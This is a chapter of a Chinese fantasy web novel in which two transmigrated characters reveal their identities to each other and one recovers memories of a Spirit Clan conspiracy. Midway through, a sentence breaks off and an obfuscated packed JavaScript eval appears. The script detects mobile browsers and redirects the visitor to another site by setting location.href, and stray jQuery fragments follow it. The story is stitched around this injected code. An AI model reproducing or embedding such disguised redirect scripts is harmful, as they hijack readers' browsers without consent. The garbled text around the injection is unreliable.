“莺莺,你还没猜完呢。春日宴上的花妖,明月楼下的画舫,还有水底藏着的蛟妖,这些还只是冰山一角。”
柳清圆笑吟吟地说着,一点也没有被拆穿后的慌张。她放下手里的瓜子,拍了拍碎屑,看向万念俱灰的柳知微。
柳知微现在是半死不活的状态,旁边那条狗也被她掐晕了。她仰头望天,用手捂住脸,恨不得催眠自己这只是一场梦,结果手被人拿开,对上柳清圆幽幽的目光。
“怎么不装了?想坦诚相见了?”
柳知微不想回答,移开视线。斗不过,根本斗不过。她心里盘算着,干脆摊牌算了,反正总部那边也焦头烂额。不如先跟着柳清圆混,替总部拖点时间,等支援到了再说。
“柳清圆,你能直接告诉我你到底想做什么吗?”
“如你所想,我也不是柳莺娘。这具身体是我占的,之前故意装出讨厌你的样子,是为了模仿柳莺娘的性格,掩饰真实身份。接近你,就是我的任务。”
柳清圆饶有兴致地看着她:“哦?这些我早就知道了。只是不知道你的任务是什么?你背后的人派你来做饵,还真是选对人了。”
柳知微听出她话里的嘲讽,沉默了片刻,决定忽略,为了防天罚,她只能挑些关键的说,还得粉饰一下:“我的任务,就是来助你成神。”
柳清圆明显愣了一下,这个回答确实有点出乎意料。以往接近她的东西,都是冲着杀她来的,只是最近不自量力的尤其多。
她没有说话,只是默默看着柳知微,似乎在等她继续编。
柳知微深吸一口气,结合系统给她补全的世界信息开始编:“我来自灵族,得到神谕之后,天道便派我作为辅佐你的人,等你历劫完毕,我自会现身,推你上神位。”
这其实跟她的原本任务也差不多,本来就是预备让柳清圆成神的,虽然目的是为了夺舍。
柳清圆挑了挑眉:“原来如此。那我该叫你什么?”
柳知微有些意外,预想中的质问没有出现,这番说辞完全是瞎扯,柳清圆居然就这么信了?
“我本名就是柳知微,不过没有小字叫莺娘。你叫我''瑛瑛''也行。”柳知微摸了摸下巴,想起之前在穿越班刻苦学习时的代号就是瑛瑛。
“哪个瑛?”
柳知微懒得解释,想糊弄过去,柳清圆却已经把手伸了过来,让她在上面写,柳知微便在她掌心落下一个“瑛”字。
柳清圆笑了笑,像宝贝似的合拢手掌:“说开了就好,瑛瑛。”
柳知微有些诧异。虽然料到柳清圆会看破她的伪装,但发现一个能悄无声息夺舍他人的存在,柳清圆竟然一点都不惊讶,也没有追问她的来历,甚至这么轻易就相信了她。
她看向柳清圆,等对方继续发问,但柳清圆似乎没有那个意思了。
柳知微问:“那作为交换,你得告诉我你究竟想做什么。”
柳清圆笑了:“瑛瑛,你既然是来助我的,那我告诉你,我想报仇雪恨。”
“报仇?”柳知微一愣。
柳清圆笑着点点头,却没有再说下去:“瑛瑛,我喜欢你,跟我一起走吧,既然把话说开了,就没什么好隐瞒的了。不过我现在还不能告诉你全部,怕把你牵扯进来。”
柳知微想的是再拖些时日,等总部做好预防措施,派支援过来。
柳清圆原本只是把柳知微当成一个有趣的人,起了逗弄的心思。但那种莫名的熟悉感,还有柳知微引天雷来救她时的样子,以及那柄骨刃……柳清圆必须留下她。
她不得不承认,自己有些喜欢柳知微了,虽然柳知微给的借口很模糊,但能引天雷说明她跟天道确实有些联系,柳清圆又多信了几分。只是得知这个答案后,她心底却莫名涌起一些落寞和失望。
柳知微还想从柳清圆嘴里撬出点什么,但柳清圆已经打住了话题。天边忽然金光一闪,大地猛然颤动起来,柳知微险些站不稳,被柳清圆扶住了。
系统这时已经清醒过来,屎黄色的大狗直往柳知微身后躲,这地震来得太突然,根本来不及反应。
一阵猛烈颤动袭来,柳清圆却显得游刃有余,因为她早就在柳府周围布下了防御阵法,但即便有法力加持,柳府还是受到了波及,看来外面的局势比她想象中的还要危急。
柳清圆施法修复阵法,震动渐渐平缓,就在这时,二人一狗面前忽然从天而降一条白蛇,直接挂在系统的狗头上,吓得系统嗷嗷直叫。
柳知微忽然一阵头晕目眩,眼前不受控制地浮现出一些不属于她的记忆。
花妖副本中,蓝衣少女消散前闪过的那个画面,为她补全了心窍中缺失的那片空白。
大雪纷飞,倾颓的神庙前。
一个披头散发的女子被拖曳而出,身后留下蜿蜒的血痕,那是被处决的“祭品”。
画面里,柳知微莫名感到哀伤,她静静立着一位稍年长的少女,少女伸出手,轻轻蒙住了她的双眼。
最后一刻,柳知微终于看清了少女的容貌,那是一张与沈如雁一模一样的脸庞。
“小瑛儿,”少女的声音穿过风雪,冰冷无波,“不要哭。”
混乱如潮水般涌来,现实与记忆的边界在柳知微脑中模糊成一片。
“不尽有为,不住无为。”
她想起这句话,也想起另一句:“小瑛儿,你的眼要看见他们,但不要陷进去。”
圣人无常心,以百姓心为心。生而不有,为而不恃。
与众生同苦是必要的,但真正的度,来自“照见五蕴皆空”,看见苦的根源,而不被它淹没,要先远离执着,才能清晰回应。
“灵族不渡人。”她最后的声音很平静,“我们只教人自渡。”
柳知微混沌地点了点头,走进人间,再没有回头。
……
洛闻瑛不知道该去哪里,云缨都已经叛变,姑媱山定是出了事,而九幽那边的入口已经被柳清圆截断了,她的灵力正在缓慢恢复着,如今漫无目的地走着,自己反而摔得遍体鳞伤。
她停了下来,凝聚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576355|205015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出最后一丝灵力,化了一片花林出来,这片花林是她设下的灵障,隔绝着外界攻击。而周围那些疯狂蔓延的藤蔓缠绕着漆黑咒文,从四面八方扑来,却触之即灭。
她背上还驮着一具无法动弹的躯壳,楼静时传送给她的那些记忆汹涌而上,冲得她脑子迷迷糊糊,莫名心疼得紧。
上次到离山时,洛闻瑛在那里施法留下了一片蓝花楹,那次下山历练,她第一次对人世有了真正的感知,然而这也是姑媱山开始计划的第一步。
有时候柳知微会想,如果当初没有吸收花神元灵,一切是不是就不会那么快?静时姐姐、瑶姬大人,她们是不是就不会死,还有时间去找别的办法?
可如果她不吸收花神元灵,她还会那么喜欢圆圆吗?洛闻瑛逼迫自己往前去,不给这个问题留下心思。
该怎么办呢?
柳清圆的身体已经坏了,沈流商也不在。
她得自己想办法了。
洛闻瑛试着喊沈流商的名字,试图调动一丝灵力联络他,可如今她的身体只是肉体凡胎。这是她曾经向往的,成为一个人,融入苍生。可现在,这身体只让她焦头烂额,像只无头苍蝇般乱撞。
“沈流商!师哥!素鳞!”
她甚至喊出曾在楼静时心念里听过的称呼,可沈流商没有回来。
洛闻瑛真的只剩自己了。
若知师姐会来,她怎么舍得就这样死去?早该换一种方式,让最后的模样好看些。
楼静时几乎把自己的意志完整地交给了洛闻瑛,包括她的记忆,她的想法。洛闻瑛被瑶姬带回姑媱山时,便触碰到了楼静时留下的那株花。
楼静时在离开后,终于不用再死守作为祭司的规矩,将一切诉诸于口。
柳知微能看到楼静时嫁入凌霄神殿后的日子。静时姐姐在殿中日日学礼仪,等待凯旋的夫君,最终等来的却是歇战死的消息,他们甚至未曾谋面,而后大祭司下令,静时需为歇殉葬。
可真正的缘由是,她发现了大祭司在炼化幽煞,那是本该被封印的禁忌之力。追根溯源,当初揭开龙族消散真相的人,竟是云霜简,但是他又杀了所有与他相争的灵族,将一切掩埋下去。而后如同瑶姬一般,他亦想善加利用,并妄图以此法造出一位新神。
不过与瑶姬只想保住灵族不同,这位大祭司要造的神,是他自己,云霜简想要取天道而代之。
于是实验开始了,他早在九幽埋下据点,势力早已渗透魔族,花神陨落也是他一手设计的。他想借那道彼岸结界的力量,稳固自己对灵族的统治,借他之手与外界有了千丝万缕的联系,从而加快了沈流商与谢济泫的相遇。
这凌霄殿统治的这千万年间,大部分灵族自然转化成“祂”,那是最最原始的自然之力,也是所有灵族陨落之后的归处。
然而因为云霜简的一己之私,本应消散的他们却又被他强行重塑成别的东西,这看似是拯救,灵族看着仍是灵族,实则不过是他掌中的死士,意识由他牵动,空留记忆,却再无自我。